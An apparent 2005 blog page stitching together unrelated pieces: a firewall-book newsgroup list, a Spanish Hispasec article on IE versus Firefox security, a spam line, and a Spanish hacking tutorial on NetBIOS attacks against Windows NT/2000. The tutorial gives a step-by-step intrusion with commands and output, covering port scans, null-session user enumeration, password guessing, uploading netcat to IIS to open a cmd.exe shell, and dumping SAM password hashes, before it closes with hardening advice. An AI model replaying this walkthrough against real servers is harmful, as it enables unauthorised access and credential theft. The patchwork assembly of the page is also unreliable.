Wednesday, September 28, 2005

Building Internet Firewalls

   #A. ResourcesA.3 Mailing ListsA.5 Response Teams and Other
Organizations

Building Internet Firewalls

Previous: A.3 Mailing Lists Appendix A
Resources Next: A.5 Response Teams and Other Organizations

_________________________________________________________________

A.4 Newsgroups

There are a variety of Usenet newsgroups that you might find an
interesting source of information on network security and related
topics:
* comp.security.announce - computer security announcements,
including new CERT-CC advisories
* comp.security.unix - UNIX security
* comp.security.misc - miscellaneous computer and network security
* comp.security.firewalls - proposed newsgroup on firewalls; might
never be created
* alt.security - alternative discussions of computer and network
security
* comp.admin.policy - computer administrative policy issues,
including security
* comp.protocols.tcp-ip - TCP/IP internals, including security
* comp.unix.admin - UNIX system administration, including security
* comp.unix.wizards - UNIX kernel internals, including security
_________________________________________________________________

Previous: A.3 Mailing Lists Building Internet Firewalls Next: A.5
Response Teams and Other Organizations
A.3 Mailing Lists Book Index A.5 Response Teams and Other
Organizations
_________________________________________________________________

[ Library Home | DNS & BIND | TCP/IP | sendmail | sendmail Reference |
Firewalls | Practical Security ]

Saturday, May 21, 2005

IE o Firefox ?

En el caso de que busques alguna tecnica de hax0rs para entender como funcionan las cosas, te recomendamos que leas entonces los tips para webmasters en donde aprenden a posicionar sitios web con tecnicas SEO de ultima generacion.

Un estudio de Symantec ha suscitado de nuevo el debate sobre que
navegador es más seguro. El titular que ha transcendido del informe
es que Firefox ha tenido más vulnerabilidades que Internet Explorer
en lo que ha transcurrido de año. Sin embargo, desde Hispasec podemos
argumentar que a día de hoy es más seguro navegar con Firefox que
con Internet Explorer.

Este tipo de informes cuantitativos siempre se presta a debates
donde cada parte implicada hace su propia lectura interesada.

Vamos a intentar ver desde un punto de vista objetivo que dice el
informe de Symantec, partiendo de que en el equipo de Hispasec se
utiliza indistintamente ambos navegadores entre otros, conviven
varias plataformas, sistemas operativos, y no mantenemos intereses
con ningún desarrollador de software.

Por un lado el informe de Symantec pone de relieve que durante el
primer semestre de 2005 Mozilla ha reportado 25 vulnerabilidades
en sus navegadores, mientras que Microsoft en ese mismo periodo ha
confirmado 13 vulnerabilidades en Internet Explorer. Eso es un
dato objetivo que en principio inclinaría la balanza claramente a
favor de Internet Explorer.

Si en vez de quedarse en ese dato se sigue leyendo el informe, en
el mismo encontramos que de las 25 vulnerabilidades de Mozilla
8 de ellas fueron consideradas de alto riesgo, el mismo número que
en el caso de Internet Explorer, también 8 de alto riesgo. En este
punto ambos quedarían en tablas.

Un dato no cuantitativo del informe, pero no menos importante, revela
que sólo se han detectado incidentes de explotación masiva de las
vulnerabilidades reportadas en el caso de Internet Explorer, y no en
ningún otro navegador. Aquí se refleja que la navegación con Firefox
es más segura que con Internet Explorer.

Llegados a este punto del informe de Symantec se puede concluir que
en lo que va de año se han publicado oficialmente más vulnerabilidades
de Firefox que de Internet Explorer. En cuanto a las vulnerabilidades
de alto riesgo, ambos se encuentran emparejados. Mientras que a
efectos prácticos, en el mundo real y no en un plano teórico, navegar
con Internet Explorer resulta más peligroso ya que los ataques se
siguen dirigiendo de forma mayoritaria al navegador de Microsoft.

El que los atacantes decidan fijar su atención más en Internet
Explorer que en Firefox poco tiene que ver con la facilidad de
explotación en aplicaciones de código abierto o cerrado. De hecho,
publicado un parche, sin haber transcendido detalles sobre como
explotar la vulnerabilidad, siempre es más fácil desarrollar el
exploit para una aplicación de la que se tiene acceso al código y que
fomenta el full-disclosure, en vez de tener que recurrir a la
ingeniería inversa como ocurre en casos de aplicaciones cerradas con
políticas más restrictivas en la publicación de vulnerabilidades.

Sin embargo éste no parece ser un handicap importante para los
atacantes, y así lo demostrarían los tiempos de desarrollo y
publicación de exploits en ambos casos. En el informe de Symantec,
por ejemplo, se da como media que el tiempo entre que se publica
una vulnerabilidad y desarrollan el exploit ha descendido a 6 días,
mientras que sitúa la media en 54 días el tiempo que transcurre
entre la aparición de una vulnerabilidad y la publicación del parche,
lo que abre una ventana de 48 días donde los sistemas pueden ser
vulnerables.

¿Por qué los atacantes enfocan en el navegador de Microsoft?
La respuesta es obvia, simplemente es el navegador que tiene mayor
cuota de mercado con diferencia, y los atacantes siempre buscan el
máximo rendimiento a sus fechorías. Si cambiaran las tornas y Firefox
tuviera mayor cuota de mercado, tal y como está la seguridad de
ambos navegadores, lo lógico es que el que sufriera más ataques
fuera Firefox.

En cuanto al revuelo suscitado con el informe de Symantec respecto
a la seguridad de los navegadores, se trata de lecturas interesadas.
Ya que el fin del mismo es ofrecer unas estadísticas globales, y en
ningún caso se trata de una metodología pensada para una comparativa
entre navegadores.

De hecho existen otros indicadores, no recogidos en el informe de
Symantec, que debieran tenerse en cuenta en una hipotética comparativa
de seguridad entre Firefox e Internet Explorer. Por ejemplo, entre
otros:

- Tiempo de reacción en publicar los parches tras detectarse una
vulnerabilidad.

- Vulnerabilidades publicadas no corregidas.

- Tecnologías aprovechadas por el malware.

El tiempo de reacción es obvio que tiene una repercusión directa en
la seguridad de los navegadores. Si atendemos por ejemplo al dato
facilitado de media en el informe de Symantec, que sitúa en 6 días
el desarrollo de exploits tras publicarse una vulnerabilidad, todo
tiempo adicional que transcurra en la publicación del parche supone
una ventaja para los atacantes en perjuicio de los usuarios. Por
ello es muy importante que la política de parches del desarrollador
sea diligente.

En este apartado podemos referenciar a eEye, que mantiene un listado
de vulnerabilidades no publicadas que han sido reportadas por su
laboratorio a los fabricantes de software a la espera de un parche.
En este listado podemos encontrar que Microsoft mantiene 10
vulnerabilidades reportadas sin parchear.

Por ejemplo, la primera de la lista es considerada crítica por
permitir ejecutar código de forma remota, fue reportada a Microsoft
el 29 de marzo de 2005, transcurriendo a día de hoy 121 días sin que
aun haya publicado la correspondiente actualización para corregirla.

Upcoming Advisories
http://www.eeye.com/html/research/upcoming/index.html

El segundo punto también es vital, ya que las vulnerabilidades no
deben contabilizarse en función de los parches oficiales publicados
(como lo hace el informe de Symantec), de lo contrario se podrían
dar situaciones absurdas.

Por ejemplo, en el hipotético caso de que yo fuera un desarrollador
de software al que le han detectado 10 vulnerabilidades y hago caso
omiso a los avisos, y no publico ningún parche, en el informe de
Symantec aparecería con 0 vulnerabilidades.

Al hilo de este indicador podemos ver algunos datos gracias a Secunia,
según la cual Internet Explorer mantiene 19 vulnerabilidades sin
corregir, frente a Firefox que tiene sólo 3. Ninguna de estas
vulnerabilidades han sido tenidas en cuenta en el informe de Symantec.

Vulnerabilidades en IE
http://secunia.com/product/11/

Vulnerabilidades en Mozilla Firefox
http://secunia.com/product/4227/

Por último también hay que hacer mención a ciertas tecnologías que,
sin contar con vulnerabilidades específicas, son aprovechadas por los
atacantes. Un ejemplo representativo lo podemos encontrar en la
tecnología Active-X de Internet Explorer, muy utilizada en la
instalación de dialers, troyanos, spyware y adware a través de la web.

Dicho todo lo anterior, y aun partiendo de la base de que hoy día es
más seguro navegar con Firefox porque los ataques van dirigidos
mayoritariamente a usuarios de Windows e Internet Explorer de manera
independiente a la seguridad intrínseca de cada navegador, el
principal origen de incidentes es la falta de actualización.

La mayoría de los exploits utilizados en la web para infectar los
sistemas con malware están desarrollados para vulnerabilidades ya
corregidas por los últimos parches de seguridad. En el caso de Internet
Explorer, por ejemplo, existe un gran parque de usuarios que siguen
utilizando una versión 5.X. También ocurre con Firefox, si bien el
volumen es menos considerable porque su difusión es menor, y eso los
atacantes lo tienen en cuenta.

Tanto Mozilla como Microsoft, además de mejorar por diseño sus
navegadores, respecto a los parches deberían acelerar su publicación,
mejorar la calidad de los mismos, y especialmente facilitar mecanismos
para su notificación automática e instalación. De poco sirve publicar
parches si finalmente los usuarios no los aplican.

Desde Hispasec podemos concluir que ambos navegadores están dedicando
recursos y esfuerzos por mejorar su seguridad, y que esta competencia
redunda en beneficio de los usuarios. La seguridad es un proceso, y el
estado actual de las cosas no va a permanecer estático. No se debe
hablar en términos absolutos de si un navegador es más seguro que
otro, son muchos los factores, algunos externos al propio desarrollo
del navegador, los que pueden ir inclinando la balanza a uno u otro
lado a lo largo del tiempo.

De manera independiente al navegador que decida utilizar, no en vano
es una opción personal que depende de más factores que el de la
seguridad, la recomendación de Hispasec es que preste especial
atención a su actualización. Y que, en cualquier caso, debemos hacer
esfuerzos en convertir el principal talón de Aquiles, que no es otro
que el factor humano, en un aliado más de la seguridad. La tecnología
más segura puede suponer un riesgo si no se utiliza de forma adecuada.

NetBIOS: Jugando con Windows NT/2000

.--[ @_2500Hz - Underground Scene - ]-----(http://pagina.de/2500Hz)--.
| |
| Titulo : NetBIOS: Jugando con Windows NT/2000 |
| Autor : ZeRoXT (zeroxt@hotmail.com) |
| Fecha : 27/03/2000 |
| |
`----------------------------------------------(2500hz@mixmail.com)--´




NetBIOS: Jugando con Windows NT/2000
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
by ZeRoXT




Introduccion
=-=-=-=-=-=-

Hace ya años que microsoft nos sorprendio a todos con su Windows NT en
un intento con hacerse con parte del mercado que hasta entonces
estaba dominado por los sistemas UNIX, y aunque las primeras versiones
no dieron mucho que hablar, todo cambio con la llegada de la version
4.0 en la que un renovado interfaz estilo windows 9x y algunas mejoras
hicieron que muchas empresas instalaran sus servidores bajo NT. Desde
su aparicion hasta ahora NT se ha ido consolidando poco a poco dentro
de las empresas, siendo lo mas normal ver como todas las empresas de
hoy en dia tienen sus servidores bajo NT y kiza algun UNIX, pero muy
raro de ver empresas que se centren solamente UNIX. Siendo lo normal
una convivencia entre los dos sistemas.

Despues de estos años Microsoft vuelve a la carga con Windows 2000 un
producto con el que pretende seguir creciendo y ampliando su mercado
hacia todas las empresas con sus tres versiones ( Profesional, Server,
Advanced Server ). Mucho se ha hablado sobre la estabilidad y la poca
seguridad de los sistemas que utilizan Windows NT/2000 y la seguridad
que proporciona UNIX frente a Windows. La verdad es un tema que daria
mucho de que hablar y que en mi opinion ninguno de los dos es claro
vencedor, cada sistema tiene sus cosas y es mejor que el otro en
determinadas tareas.

El caso es que este articulo no va a ser una critica ni una opinion
personal sobre Windows / Unix, asi que centremonos en el asunto que
vamos a tratar .....



NetBIOS ( Network Basic Input/Output System )
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

NetBIOS fue desarrollado por IBM y Systek como un intento de proveer a
las apliaciones de una interfaz para acceder a los recursos de las
redes locales. Al ser solo una interfaz entre las aplicaciones y la
tarjeta de red, y por tanto poder ser utilizado con independencia del
hardware, hizo que pronto se convirtiera en un estandar para acceder a
redes ( ethernet, TokenRing, redes IBM, ... ).

NetBIOS ha sido utilizado ampliamente para compartir recursos de una
manera simple y eficiente en redes pequeñas. Proporcionando tanto
servicios orientados a conexion ( sesiones ) como no orientados a
conexion ( datagramas ), al igual que soporta broadcast y multicast.

Posteriormente surgio NetBEUI que no es mas que una version extendida
de NetBIOS que proporciono una capa de transporte que nunca fue
estandarizada en NetBIOS.

NetBIOS puede ser utilizado en la inmesa mayoria de los sistemas
operativos de red y puede ser transportado sobre variedad de
protocolos, generalmente sobre TCP/IP (NBT), IPX, ...



Nombres NetBIOS
=-=-=-=-=-=-=-=

Son usados para identificar recursos en la red, las direcciones de
bajo nivel no estan disponibles para las aplicaciones, sino que las
equipos utilizan estos nombres para comnunicarse y establecer sesiones
entre si. Estos nombres deben tener una longitud maxima de 16
caracteres alfanumericos, siendo el primero distinto de *.

Cada vez que un equipo se activa este comienza un proceso de registro,
para ello emite varias veces un mensaje de broadcast en el que indica
su nombre netbios. Si algun otro equipo de la red esta utilizando ese
nombre, este a su vez manda mensajes de broadcasts para advertirlo.
Por lo tanto el equipo que queria registrarse con un nombre ya en uso
para y termina su intento de registro. Si por el contrario ningun otro
equipo emite mensajes indicando que el nombre ya esta en uso, el
cliente se registrara con exito.

Hay dos tipos de nombres, unicos ( unique ) y de grupos ( group ), los
nombre unicos son aquellos que son llevados individualmente por un
equipo al mismo tiempo, es decir no deben repetirse en la red en caso
contrario se producirian mensajes de error debido a conflictos de
nombres. En los grupos todas las instancias de un mismo nombre son
equivalentes y pueden repetirse a lo largo de la red.

Microsoft en su implementacion limita el tamaño de los nombres a 15
caracteres maximos, utilizando el ultimo byte como un sufijo para
identificar el tipo de servicio. Cada nodo mantiene una tabla con
informacion de los nombres que tiene en uso, esta tabla se puede
obtener mediante la orden nbtstat. Acontinuacion una tabla de los
sufijos utilazados por Windows NT.



Nombre Sufijo Tipo Servicio
-------------------------------------------------------------------
00 U Workstation Service
01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
03 U Messenger Service
06 U RAS Server Service
1F U NetDDE Service
20 U File Server Service
21 U RAS Client Service
22 U Exchange Interchange
23 U Exchange Store
24 U Exchange Directory
30 U Modem Sharing Server Service
31 U Modem Sharing Client Service
43 U SMS Client Remote Control
44 U SMS Admin Remote Control Tool
45 U SMS Client Remote Chat
46 U SMS Client Remote Transfer
4C U DEC Pathworks TCPIP Service
52 U DEC Pathworks TCPIP Service
87 U Exchange MTA
6A U Exchange IMC
BE U Network Monitor Agent
BF U Network Monitor Apps
03 U Messenger Service
00 G Domain Name
1B U Domain Master Browser
1C G Domain Controllers
1D U Master Browser
1E G Browser Service Elections
1C G Internet Information Server
00 U Internet Information Server




Jugando con los servidores
=-=-==-=-==-=-==-=-=-=-=-=

Ahora pasaremos a una parte mas practica, que seguro os gusta mas :)

El objetivo es demostrar todo lo visto hasta ahora, es decir, obtener
la tabla de nombres de los nodos, listas de usuarios, recursos
compartidos y toda aquella informacion que podamos y nos pueda ser
util.

En primer lugar seleccionamos una serie de posibles victimas, que en
nuestro caso obtenemos realizando un pequeño scaneo a una clase C
( x.x.x.1/24 ) el resultado nos muestra que tenemos dos maquinas
activas una ejecutandose bajo Windows NT 4.0 ( x.x.x.92 ) y otra bajo
Windows 2000 RC1 ( x.x.x.96 ). Aun asi queremos mas informacion sobre
los distintos servicios que corren y con ayuda de nmap realizamos un
scaneao a ambas...


zeroxt@candela:~/hack > nmap -sS -O x.x.x.92

Starting nmap V. 2.3BETA5 by Fyodor (fyodor@dhp.com, www.insecure...
Interesting ports on (x.x.x.92):
Port State Protocol Service
21 open tcp ftp
25 open tcp smtp
135 open tcp loc-srv
139 open tcp netbios-ssn
256 open tcp rap
257 open tcp set
258 open tcp yak-chat
259 open tcp esro-gen
261 open tcp nsiiops
262 open tcp arcisdms
1030 open tcp iad1
1031 open tcp iad2
1032 open tcp iad3

TCP Sequence Prediction: Class=trivial time dependency
Difficulty=8 (Trivial joke)
Remote operating system guess: Windows NT4 / Win95 / Win98

Nmap run completed -- 1 IP address (1 host up) scanned in 34 sec



zeroxt@candela:~/hack > nmap -sS -O x.x.x.96

Starting nmap V. 2.3BETA5 by Fyodor (fyodor@dhp.com, www.insecure...
Interesting ports on (x.x.x.96):
Port State Protocol Service
7 open tcp echo
9 open tcp discard
13 open tcp daytime
17 open tcp qotd
19 open tcp chargen
21 open tcp ftp
25 open tcp smtp
42 open tcp nameserver
53 open tcp domain
80 open tcp http
135 open tcp loc-srv
139 open tcp netbios-ssn
258 open tcp yak-chat
261 open tcp nsiiops
443 open tcp https
445 open tcp microsoft-ds
1025 open tcp listen
3389 open tcp msrdp

TCP Sequence Prediction: Class=random positive increments
Difficulty=24300 (Worthy challenge)
Remote operating system guess: Windows 2000 RC1

Nmap run completed -- 1 IP address (1 host up) scanned in 56 sec
zeroxt@candela:~/hack >


Para conseguir mas informacion obtenemos la Tabla de Nombre NetBios de
las dos maquinas ...


zeroxt@candela:~/hack > nmblookup -A x.x.x.92
Looking up status of x.x.x.92
received 9 names
CARMEN <20> - B
CARMEN <00> - B
DOMINIO3 <1b> - B
DOMINIO3 <1c> - B
DOMINIO3 <00> - B
DOMINIO3 <1e> - B
CARMEN <03> - B
DOMINIO3 <1d> - B
..__MSBROWSE__. <01> - B
num_good_sends=0 num_good_receives=0

zeroxt@candela:~/hack >



Como vemos esta maquina hace de Controlador del dominio DOMINIO3, es
el Master Browser y su nombre NetBIOS es CARMEN.


zeroxt@candela:~/hack > nmblookup -A x.x.x.96
Looking up status of x.x.x.96
received 8 names
EULER <00> - M
EULER <20> - M
DOMINIO3 <00> - M
EULER <03> - M
DOMINIO3 <1e> - M
INet~Services <1c> - M
IS~EULER <00> - M
ADMINISTRADOR <03> - M
num_good_sends=0 num_good_receives=0

zeroxt@candela:~/hack >


En esta otra vemos que es miembro del dominio DOMINIO3, su nombre
NetBIOs es EULER, esta ejecutando los servicios IIS y existe un
usuario ADMINISTRADOR conectado y que probablemente sera la cuenta de
administracion por defecto :). Aun asi nos aseguraremos y obtendremos
la cuenta de Administrador de las dos maquinas y la lista de usuarios
de ambos, que podremos utilizar como base para un ataque por fuerza
bruta y testear asi la seguridad de las contraseñas de usuarios.

Para realizar esta tarea haremos uso de las herramientas SID.




Conexiones Nulas ( IPC$ )
=-=-=-=-=-=-=-=-=-=-=-=-=

Windows NT hace uso de un recurso compartido oculto ( IPC$ ) y que se
utiliza para intercomunicacion entre procesos. Este recurso permite
a cualquiera establecer una sesion nula con el servidor. Y que debido
a los permisos por defecto de NT nos permite acceder a determinda
informacion como son listas de usuarios, recursos compartidos, ...
Informacion que nos puede servir para buscar nuevos fallos de seguridad

Acontinuacion obtendremos la lista de usuario y la cuenta del
administrador del sistema, para ello como dijimos anteriormente
haremos uso de las herramientas SID: user2sid que nos permite obtener
el SID de un usuario o grupo y sid2user que nos permite obtener la
informacion asociada a un SID.

En primer lugar establecemos una conexion nula y obtenemos el SID de
un grupo por defecto ( ya que los grupos no se pueden renombrar )

C:\hack\sid>net use \\carmen "" /u:""
Se ha completado el comando correctamente.


C:\hack\sid>user2sid \\carmen "Usuarios del dominio"

S-1-5-21-445120578-907631837-612134452-513

Number of subauthorities is 5
Domain is DOMINIO3
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup


Una vez obtenido, podemos obtener todas las cuentas del sistema, cuyo
SID solo difiere en su ultimo campo denominado RID. Para la cuenta de
administrador el RID es 500, para el resto de cuentas es 1000, 1001,
1002, ....


C:\hack\sid>sid2user \\carmen 5 21 445120578 907631837 612134452 500

Name is ServerAdmin
Domain is DOMINIO3
Type of SID is SidTypeUser


mmm, curioso la cuenta de administrador ha sido renombrada a
ServerAdmin.

Lo mismo para el servidor con Windows 2000 ...


C:\hack\sid>net use \\euler "" /u:""
Se ha completado el comando correctamente.

C:\hack\sid>user2sid \\euler "Invitado"

S-1-5-21-861567501-1993962763-1202660629-501

Number of subauthorities is 5
Domain is DOMINIO3
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser


C:\hack\sid>sid2user \\euler 5 21 861567501 1993962763 1202660629 500

Name is Administrador
Domain is DOMINIO3
Type of SID is SidTypeUser


C:\hack\sid>sid2user \\euler 5 21 861567501 1993962763 1202660629 1000

Name is TsInternetUser
Domain is DOMINIO3
Type of SID is SidTypeUser


C:\hack\sid>sid2user \\euler 5 21 861567501 1993962763 1202660629 1001

Name is IUSR_EULER
Domain is DOMINIO3
Type of SID is SidTypeUser


C:\hack\sid>sid2user \\euler 5 21 861567501 1993962763 1202660629 1002

Name is IWAM_EULER
Domain is DOMINIO3
Type of SID is SidTypeUser




NAT ( NetBIOS Auditing Tool )
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Una vez tenemos la lista de usuarios de los sistemas y las respectivas
cuentas de administracion local. Podemos realizar un ataque por fuerza
bruta a las contraseñas, para ello hacemos uso de NAT ( NetBIOS
Auditing Tool )



zeroxt@candela:~/hack/nat > ./nat -i x.x.x.96

[*] NAT - NetBIOS Auditing Tool v2.0
Copyright 1996, 1997, 1998, Secure Networks Inc.

[*] Host x.x.x.96 (unknown) checked on Sun Mar 21 01:20:27 1999
[*] Remote system name tables

EULER
DOMINIO3
INet~Services
IS~EULER
ADMINISTRADOR

[*] Trying to connect with 'EULER'
[*] Connected with NetBIOS name EULER

[*] Dialect selected: NT LM 0.12
[*] Server has share level security enabled
[*] Server supports password encryption
[*] Remote server's workgroup: DOMINIO3

[*] Logging in as '' with password ''
[*] Able to login as user '' with password ''

[*] Server Operating System: Windows 5.0
[*] Lan Manager Software : Windows 2000 LAN Manager


[*] Unable to list shares as '' user

[*] Guessing passwords

[*] Trying to login as user 'ADMINISTRATOR' with password 'ADMINISTRAT
[*] Trying to login as user 'ADMINISTRATOR' with password 'GUEST'
[*] Trying to login as user 'ADMINISTRATOR' with password 'ROOT'
[*] Trying to login as user 'ADMINISTRATOR' with password 'ADMIN'
[*] Trying to login as user 'ADMINISTRATOR' with password 'PASSWORD'
[*] Trying to login as user 'ADMINISTRATOR' with password 'TEMP'
[*] Guessed: ADMINISTRATOR Password: ADMINISTRATOR

[*] Logging in as 'ADMINISTRATOR' with password 'ADMINISTRATOR'
[*] Able to login as user 'ADMINISTRATOR' with password 'ADMINISTRATOR
[*] Workstation information

Computer Name : EULER
User Name :
Work Group : DOMINIO3
Version : 5.0
Logon Domain :
Other Domains :


[*] Able to list shares as 'ADMINISTRATOR' user

C$ DISK Recurso predeterminado
ADMIN$ DISK Admin remota
Inetpub DISK
IPC$ IPC IPC remota
E$ DISK Recurso predeterminado

[*] WARNING: Able to connect to \\EULER\Inetpub as 'ADMINISTRATOR' use
[*] WARNING: Able to WRITE to \\EULER\Inetpub

[*] WARNING: Able to connect to \\EULER\IPC$ as 'ADMINISTRATOR' user


zeroxt@candela:~/hack/nat >



Evidentemente la cuenta ADMINISTRATOR no es una cuenta con privilegios
de administrador sino una cuenta de usuario creada quiza para atraer a
posibles hackes, y tanto que nos va a ser muy util ya que por descuido
del administrador tiene permisos de escritura en \Inetpub.

Lo cual nos va a permitir ejecutar comandos con los privilegios de
IUSR_EULER subiendo un fichero al directorio \InetPub\scripts que
por defecto tiene permisos de ejecucion. El fichero elegido sera una
copia de netcat que nos permitira acceder al sistema :)


zeroxt@candela:~/ > smbclient \\\\x.x.x.96\\InetPub -U ADMINISTRATOR
Password:
Domain=[DOMINIO3] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
smb: \> ls
. D 0 Sun Mar 12 15:57:08
.. D 0 Sun Mar 12 15:57:08
wwwroot D 0 Sun Mar 12 15:57:08
AdminScripts D 0 Sun Mar 12 15:57:20
iissamples D 0 Sun Mar 12 15:57:20
Mail D 0 Sun Mar 12 15:59:08
scripts D 0 Sun Mar 12 16:02:28
ftproot D 0 Sun Mar 12 16:03:26
mailroot D 0 Sun Mar 12 16:03:28
iisstart.asp A 0 Sat Mar 18 03:16:56

58497 blocks of size 65536. 24655 blocks available
smb: \> cd scripts
smb: \scripts\> ls
. D 0 Sun Mar 12 16:02:28
.. D 0 Sun Mar 12 16:02:28

58497 blocks of size 65536. 24655 blocks available
smb: \scripts\> put netcat.exe
putting file netcat.exe as \scripts\netcat.exe
smb: \scripts\> exit


zeroxt@candela:~/hack/nat > lynx http://x.x.x.96/scripts/netcat.exe?
-l%20-p%2023%20-e%20cmd.exe

zeroxt@candela:~/hack/nat > netcat x.x.x.96 23
Microsoft Windows 2000 [Versión 5.00.2072]
Microsoft(R) Windows(TM)
(C) Copyright 1985-1999 Microsoft Corp.

e:\inetpub\scripts>

tachan! :)


Ya estamos dentro con permisos del usuario IIS :). Debido a los
permisos por defecto y al FDC cualquier usuario tiene acceso completo
al directorio \winnt. Por lo que sustituir cualquier archivo por un
troyano, instalar un sniffer o cualquier otro tipo de accion seria
trivial. Ahora podemos obtener una copia del archivo de claves
de NT del directorio \winnt\repair y obtener las distintas claves
con ayuda del l0phtcrack


E:\Inetpub\scripts>samdump \winnt\repair\sam
samdump \winnt\repair\sam
Administrador:500:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXX
XXX:Cuenta para la administraci¾n del equipo o dominio::

Invitado:501:NO PASSWORD*********************:NO PASSWORD************
*********:Cuenta para acceso como invitado al equipo o dominio::

TsInternetUser:1000:B857426F10E9987B81B7BF4162DE158E:C25DB5748E64161C
C464C5C2D384E48F:TsInternetUser,Servicios de Terminal Server usa esta
cuenta de usuario.::

IUSR_EULER:1001:740A765CDE56E4322527D6405C7A9FBF:659F670CD71A4D472803
31EA0D5ACFC6:Cuenta de invitado a Internet,Cuenta integrada para acce
so an¾nimo a Servicios de Internet Information Server::

IWAM_EULER:1002:8D477648397EAA89488B9B9789336A73:005CFF626C455FC73988
6EA4F7A47AEA:Iniciar la cuenta de proceso IIS,Cuenta integrada para e
l inicio de los Servicios de Internet Information Server fuera de las
aplicaciones de proceso::

SAMDump 1.0beta. Created by Dmitry Andrianov



En unas horas se obtuvo la clave de administrador para el servidor
y se pudo acceder al servidor con permisos totales. Desde este a su
vez se realizo un ataque por diccionario al servidor NT ( x.x.x.92 )
y que se completo en poco tiempo.


C:\zeroxt>net use \\x.x.x.96\C$ xxxxxxx /u:Administrador
Se ha completado el comando correctamente.

C:\zeroxt>net use \\x.x.x.92\E$ xxxxx /u:ServerAdmin
Se ha completado el comando correctamente.


( Claves omitidas )




Soluciones a la Inseguridad
=-=-=-=-=-=-=-=-=-=-=-=-=-=

Como habeis podido comprobar la seguridad es muy importante, seamos
una pequeña empresa, una gran empresa, o un simple usuario que dedica
su tiempo a navegar por la red, siempre estamos en peligro y abiertos
a cualquier tipo de ataque. Y es que hay gente que se puede decir solo
vive para entrar en ordenadores ajenos, dando igual lo que contengan
solo por el mero hecho de investigar un poco mas. Y todo hay que
decirlo tambien hay los que lo hacen para joder un poco mas, y hacer
cosas tan absurdas como un "deltree \*.*" o un "rm -fr /". Sea lo que
sea esta claro que a nadie le gusta que le miren en su disco duro
aunque solo tenga fotos xXX ...

Hemos visto lo facil que resulta acceder a un ordenador que no este
correctamente configurado y con permisos por defecto. La mayor parte
de los ataques en Windows se realizan atraves de recursos compartidos
por medio de NetBIOS, servicios mal configurado, etc. Como medida a
esto se recomienda no utilizar NBT ( NetBIOS sobre TCP/IP ) a no ser
que ser que sea estrictamente necesario y en esta caso siempre filtrar
los accesos mediante un firewall y permitir solo accesos a la
intranet.

Tambien tenemos que estar pendientes de la seguridad en la intranet,
ya que cualquier empleado un poco 'aburrido' podria dedicarse a jugar
con nosotros. Debemos denegar el acceso de login en la consola a los
usuarios, y establer fuertes permisos en el sistema de archivos ya
que como vimos anteriormente por defecto cualquier usuario tiene
acceso completo a \WINNT. Se recomienda cambiar los permisos y
establecerlos de la siguiente forma.



%SystemRoot%
Administrators: Full Control (All)
CREATOR OWNER: Full Control (All)
Everyone: Add and Read (RWX)(RX)
SYSTEM: Full Control (All)
Server Operators: Change (RWXD)

%SystemRoot%\FONTS
Administrators: Full Control (All)
CREATOR OWNER: Full Control (All)
Everyone: Add & Read (RWX)(RX)
SYSTEM: Full Control (All)
Server Operators: Change (RWXD)

%SystemRoot%\HELP
Administrators: Full Control (All)
CREATOR OWNER: Full Control (All)
Everyone: Add & Read (RWX)(RX)
SYSTEM: Full Control (All)
Server Operators: Change (RWXD)

%SystemRoot%\INF
Administrators: Full Control (All)
CREATOR OWNER: Full Control (All)
Everyone: Add & Read (RWX)(RX)
SYSTEM: Full Control (All)
Server Operators: Change (RWXD)

%SystemRoot%\PROFILES
Administrators: Full Control (All)
CREATOR OWNER: Full Control (All)
Everyone: Add and Read (RWX)(RX)
SYSTEM: Full Control (All)
Server Operators: Change (RWXD)

%SystemRoot%\REPAIR
Administrators: Full Control (All)
SYSTEM: Full Control (All)
Server Operators: Change (RWXD)

%SystemRoot%\SYSTEM
Administrators: Full Control (All)
CREATOR OWNER: Full Control (All)
Everyone: Add and Read (RWX)(RX)
SYSTEM: Full Control (All)
Server Operators: Change (RWXD)
%SystemRoot%\SYSTEM32

Administrators: Full Control (All)
CREATOR OWNER: Full Control (All)
Everyone: Add and Read (RWX)(RX)
SYSTEM: Full Control (All)
Server Operators: Change (RWXD)

%SystemRoot%\SYSTEM32\DHCP
Sino usamos un servidor DHCP se recomienda borrarla

%SystemRoot%\SYSTEM32\LOGFILES
Administrators: Full Control (All)
CREATOR OWNER: Full Control (All)
Everyone: Read (RX)
SYSTEM: Full Control (All)
Server Operators: Change (RWXD)

%SystemRoot%\SYSTEM32\RAS
Si no usamos RAS borrarlo, sino resringirlo a los usuarios RAS

%SystemRoot%\SYSTEM32\VIEWERS
Administrators: Full Control (All)
CREATOR OWNER: Full Control (All)
Everyone: Add and Read (RWX)(RX)
SYSTEM: Full Control (All)
Server Operators: Change (RWXD)

%SystemRoot%\SYSTEM32\WINS
Si no usamos WINS borrarlo

\BOOT.INI
Administrators: Full Control (All)
SYSTEM: Full Control (All)

\NTDETECT.COM
Administrators: Full Control (All)
SYSTEM: Full Control (All)
NTLDR
Administrators: Full Control (All)
SYSTEM: Full Control (All)

\AUTOEXEC.BAT
Administrators: Full Control (All)
Everybody: Read (RX)
SYSTEM: Full Control (All)

\CONFIG.SYS
Administrators: Full Control (All)
Everybody: Read (RX)
SYSTEM: Full Control (All)



Muchos libros recomiendan renombrar la cuenta de Administador, pero
como hemos visto resulta inutil ya que es trivial a averiguarla por
medio de una sesion nula. Estas sesiones nulas se establecen mediante
NetBIOS, por lo que si filtramos adecuadamente los puertos usados
por NetBIOS no sera posible el listado de usuarios, cuenta de
Administrados, recursos compartidos, etc.




Enlaces / Bibliografia
=-=-=-==-=-=-=-=-=-=-=


[ l0pthcrack ] - www.l0pht.com
[ SID Tools ] - http://www.technotronic.com/microsoft.html
[ NAT ] - http://www.technotronic.com/microsoft.html
[ Understanding NetBIOS by NeonSurge ]
[ Windows NT Unleashed ]
[ RFC1001 ]




ZeRoXT
zeroxt@hotmail.com

EOF

--( ZeRoXT )-- - -- - -- - -- - -- - -- @_2500Hz - Underground Scene -
-- -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - --

Obtener una IP diferente al modo normal

.--[ @_2500Hz - Underground Scene - ]-------------------------------------------------.
| |
